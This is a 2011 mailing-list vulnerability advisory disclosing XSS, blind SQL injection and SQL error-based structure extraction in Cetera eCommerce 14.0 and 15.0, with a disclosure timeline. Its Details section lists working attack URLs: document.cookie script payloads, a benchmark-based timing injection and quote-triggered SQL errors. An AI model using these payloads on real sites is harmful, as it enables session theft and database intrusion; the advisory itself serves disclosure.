Cetera eCommerce 14.0 Cross Site Scripting / SQL Injection

`Hello list!  
  
I want to warn you about Cross-Site Scripting, SQL Injection and SQL DB  
Structure Extraction vulnerabilities in Cetera eCommerce. It's engine for  
online shops.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are Cetera eCommerce 14.0 and previous versions. XSS holes also  
work in Cetera eCommerce 15.0 (which have released in October 2010).  
  
----------  
Details:  
----------  
  
XSS (WASC-08) (also work in version 15.0):  
  
http://site/catalog/%3Cscript%3Ealert(document.cookie)%3C/script%3E/  
  
http://site/vendors/%3Cscript%3Ealert(document.cookie)%3C/script%3E/  
  
http://site/catalog/cart/%3Cscript%3Ealert(document.cookie)%3C/script%3E/  
  
http://site/news/%3Cscript%3Ealert(document.cookie)%3C/script%3E/  
  
http://site/news/13012011111030/%3Cscript%3Ealert(document.cookie)%3C/script%3E/  
  
XSS (WASC-08):  
  
http://site/%3Cscript%3Ealert(document.cookie)%3C/script%3E/  
  
This vulnerability have appeared in version 15.0. Vulnerability takes place  
at page with error 404, so it'll work as at this URL, as at other URLs,  
which lead to non-existent pages.  
  
SQL Injection (blind SQLi) (WASC-19):  
  
http://site/catalog/(version()=5.1)/  
  
http://site/catalog/cart/’+benchmark(100000,md5(now()))+’/  
  
SQL DB Structure Extraction (WASC-13):  
  
http://site/catalog/%22/  
  
http://site/catalog/cart/’/  
  
------------  
Timeline:  
------------  
  
2011.01.28 - announced at my site.  
2011.01.29 - informed developers.  
2011.03.26 - disclosed at my site.  
  
I mentioned about these vulnerabilities at my site  
(http://websecurity.com.ua/4883/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua  
  
`